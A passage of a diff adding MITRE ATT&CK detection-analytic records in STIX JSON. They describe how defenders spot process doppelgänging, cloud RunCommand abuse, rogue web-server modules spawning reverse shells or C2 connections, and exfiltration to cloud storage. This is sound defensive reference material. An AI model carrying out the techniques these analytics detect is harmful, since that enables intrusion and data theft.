15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0543#AN1496", + "external_id": "AN1496" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1496", + "description": "Processes not typically associated with encryption loading asymmetric crypto libraries (e.g., rsaenh.dll, crypt32.dll) and subsequently initiating outbound TLS/SSL connections with abnormal certificate chains or handshakes. Defender correlates process creation, module load, and unusual encrypted sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedCryptoProcesses", + "description": "Whitelist browsers, mail clients, or apps expected to use asymmetric crypto." + }, + { + "field": "CertificateAuthorityList", + "description": "Baseline CA list for validating abnormal certs." + }, + { + "field": "HandshakeTimeout", + "description": "Detection of incomplete or malformed handshakes." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--284edcb8-0141-4fe6-afb2-9fd8a2b82b49", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0543#AN1497", + "external_id": "AN1497" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1497", + "description": "Processes (e.g., bash, python, custom binaries) dynamically linking libcrypto/libssl for RSA key exchange, then creating external connections with abnormal certificate validation or handshake anomalies. Defender observes syscall traces and outbound asymmetric key exchanges from non-SSL-native processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve or socket/connect system calls for processes using RSA handshake" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "Non-standard processes negotiating SSL/TLS key exchanges" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "linux:osquery", + "channel": "Processes linked with libssl/libcrypto performing network activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExpectedCryptoLibs", + "description": "Baseline libraries that normally handle asymmetric crypto." + }, + { + "field": "TrafficAsymmetryRatio", + "description": "Threshold for client-heavy data sending vs server." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6b63caad-5d8d-4f23-be77-4e81d8904da6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0543#AN1498", + "external_id": "AN1498" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1498", + "description": "Applications or launchd services invoking RSA or public-key routines from the Security framework, followed by outbound SSL/TLS sessions with unrecognized certs or anomalous handshakes. Defender observes unified logs of API calls and suspicious network entropy.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "TLS connections with abnormal handshake sequence or self-signed cert" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedDoHEndpoints", + "description": "Known legitimate DoH/SSL endpoints." + }, + { + "field": "PayloadEntropyThreshold", + "description": "Entropy scoring for outbound payloads." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0f9943f2-0e7e-44da-b7dd-e1a7cd52aae0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0543#AN1499", + "external_id": "AN1499" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1499", + "description": "VMware services (hostd, vpxa) unexpectedly negotiating asymmetric crypto sessions to external endpoints outside vCenter or update servers. Defender sees encrypted handshakes in logs inconsistent with baseline ESXi communication patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:vpxd", + "channel": "ESXi process initiating asymmetric handshake with external host" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxcli:network", + "channel": "Socket inspection showing RSA key exchange outside baseline endpoints" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BaselineMgmtHosts", + "description": "Expected external endpoints (vCenter, update repos)." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e5930bf-6d79-4f75-9b9e-97cad9bf9232", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0543#AN1500", + "external_id": "AN1500" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1500", + "description": "Encrypted sessions detected with asymmetric key exchange anomalies on non-standard ports or with invalid/malformed certs. Defender correlates NetFlow/IPFIX with IDS/IPS detecting RSA exchanges outside expected TLS flows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Flow records with RSA key exchange on unexpected port" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "IDS:TLSInspection", + "channel": "Malformed certs, incomplete asymmetric handshakes, or invalid CAs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PortProfiles", + "description": "Define expected ports for asymmetric cryptography (e.g., 443, 993)." + }, + { + "field": "CertValidationPolicy", + "description": "Thresholds for rejecting untrusted/self-signed certs." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--37d6450b-6c90-48dd-b69d-161099913851", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0544#AN1501", + "external_id": "AN1501" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1501", + "description": "Detects adversary abuse of Transactional NTFS (TxF) and undocumented process loading mechanisms (e.g., NtCreateProcessEx) to create a hollowed process from an uncommitted, maliciously tainted file image in memory, later executed via NtCreateThreadEx.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TransactionExecutableNamePattern", + "description": "Pattern of legitimate executables often used as doppelg\u00e4nging targets (e.g., svchost.exe, calc.exe)" + }, + { + "field": "TimeWindow_TransactionToExecution", + "description": "Time delta between TxF rollback and thread creation in hollowed process" + }, + { + "field": "ThreadStartEntropyThreshold", + "description": "Entropy level of thread start address in memory used to detect obfuscated shellcode" + }, + { + "field": "TxF API Call Frequency Threshold", + "description": "Limit on CreateTransaction + RollbackTransaction sequences per process" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d8d5a1c0-9ba1-4735-af42-3d5b9d7a6603", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0545#AN1502", + "external_id": "AN1502" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1502", + "description": "Monitor for suspicious use of cloud-native administrative command services (e.g., AWS Systems Manager Run Command, Azure RunCommand, GCP OS Config) to execute code inside VMs. Detect anomalies such as commands/scripts executed by unexpected users, execution outside of maintenance windows, or commands initiated by service accounts not normally tied to administration. Correlate cloud control-plane activity logs with host-level execution (process creation, script execution) to validate if commands materialized inside the guest OS.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "AWS:CloudTrail", + "channel": "SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "azure:activity", + "channel": "Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "azure:vmguest", + "channel": "Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Differentiate between known admin/service accounts and non-administrative users triggering RunCommand or SSM." + }, + { + "field": "TimeWindow", + "description": "Correlate cloud control-plane API calls with host-side execution events within a bounded timeframe (e.g., 5 minutes)." + }, + { + "field": "AllowedScripts", + "description": "Whitelist approved scripts or automation invoked via RunCommand to reduce false positives." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--02571f27-8fa6-47cb-9097-0b84016a1dda", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0546#AN1503", + "external_id": "AN1503" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1503", + "description": "Detects anomalous authentication activity such as sign-ins from impossible geolocations or legacy protocols from high-privileged accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Sign-in activity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "saas:okta", + "channel": "user.authentication.sso" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AnomalousLocationThreshold", + "description": "Defines geographic separation (e.g., impossible travel) considered suspicious." + }, + { + "field": "ProtocolType", + "description": "Filter based on legacy or deprecated authentication mechanisms." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fc507123-4267-4cf8-9e30-a90a89043b20", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0546#AN1504", + "external_id": "AN1504" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1504", + "description": "Detects cloud account use for API calls that exceed normal scope, such as IAM changes or access to services never used before.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "gcp:audit", + "channel": "admin.googleapis.com" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceInteractionBaseline", + "description": "Custom list of expected service interactions per user or role." + }, + { + "field": "RoleSwitchRateThreshold", + "description": "Frequency of assume-role operations that triggers an alert." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ac36f883-9a5b-4796-9f2e-18f1cce8fc0b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0546#AN1505", + "external_id": "AN1505" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1505", + "description": "Detects unexpected access or usage of cloud productivity tools (e.g., downloading large numbers of files, creating external shares) by internal users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "m365:unified", + "channel": "FileAccessed, SharingSet" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "gcp:audit", + "channel": "drive.activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileDownloadThreshold", + "description": "Defines excessive access based on number or size of downloads." + }, + { + "field": "SharingPolicyViolationThreshold", + "description": "Defines external sharing behaviors that violate policy." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5f1ffd26-01f7-47fc-b544-130fc14c0bd2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0546#AN1506", + "external_id": "AN1506" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1506", + "description": "Detects login and usage patterns deviating from typical Microsoft 365 or Google Workspace user profiles.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "m365:signin", + "channel": "UserLogin" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "gcp:audit", + "channel": "login.event" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BusinessHours", + "description": "Used to identify logins outside of expected work times." + }, + { + "field": "OfficeProductivityToolBaseline", + "description": "Defines expected application usage per department or role." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ea250997-091b-4c5e-8827-a41f03e34caf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0547#AN1507", + "external_id": "AN1507" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1507", + "description": "Installation of malicious IIS/Apache/SQL server modules that later execute command-line interpreters or establish outbound connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:Security", + "channel": "EventCode=4698" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time delta between module install and process execution (e.g., persistence delay)." + }, + { + "field": "ParentProcessName", + "description": "Custom server wrapper processes or renamed webserver processes may require tuning." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--65f89c21-d42a-4028-9865-122ea1079a77", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0547#AN1508", + "external_id": "AN1508" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1508", + "description": "Abuse of extensible server modules (e.g., Apache, Nginx, Tomcat) to load rogue plugins that initiate bash, connect to C2, or spawn reverse shells.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "Module registration or stacktrace logs indicating segmentation faults or unknown module errors" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServerBinaryPath", + "description": "Alternate install paths like /opt/httpd or user-compiled binaries" + }, + { + "field": "OutboundPortRange", + "description": "Tunable to match expected versus suspicious outbound traffic patterns" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d5af4c93-632c-41c3-a101-6e9e534d7d01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0547#AN1509", + "external_id": "AN1509" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1509", + "description": "Malicious use of webserver plugins (e.g., for nginx, PHP, Node.js) that execute AppleScript or open network sockets.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Script interpreter invoked by nginx/apache worker process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "Web server process initiating outbound TCP connections not tied to normal server traffic" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentBinaryPath", + "description": "If homebrew or manually compiled nginx/httpd used, baseline accordingly." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--55b8622a-795b-41d8-9b11-5576a0fb8f0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0547#AN1510", + "external_id": "AN1510" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1510", + "description": "Use of ESXi web interface plugins or vSphere extensions to embed persistent malicious scripts or services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:hostd", + "channel": "New extension/module install with unknown vendor ID" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:vmkernel", + "channel": "Unexpected restarts of management agents or shell access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PluginVendorName", + "description": "Whitelist known vendor plug-in names for extension correlation" + }, + { + "field": "AccessVector", + "description": "Limit exposure of plugin installation via HTTPS or SSH" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--81b1e9a7-b6f4-4cca-b07a-3498ab4abd4a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0548#AN1511", + "external_id": "AN1511" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1511", + "description": "Processes that normally do not initiate network communications suddenly making outbound HTTPS connections with high outbound-to-inbound data ratios. Defender view: correlation between process creation logs (e.g., Word, Excel, PowerShell) and subsequent anomalous network traffic volumes toward common web services (Dropbox, Google Drive, OneDrive).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredServices", + "description": "List of legitimate web services to baseline (Dropbox, OneDrive, Google Drive)." + }, + { + "field": "ExfilVolumeThreshold", + "description": "Outbound data threshold for flagging unusual activity, tunable by environment." + }, + { + "field": "TimeWindow", + "description": "Aggregation period to calculate anomalies in outbound data volume." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8a5a1b1e-336f-41af-8f30-2fa7e8e10fab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 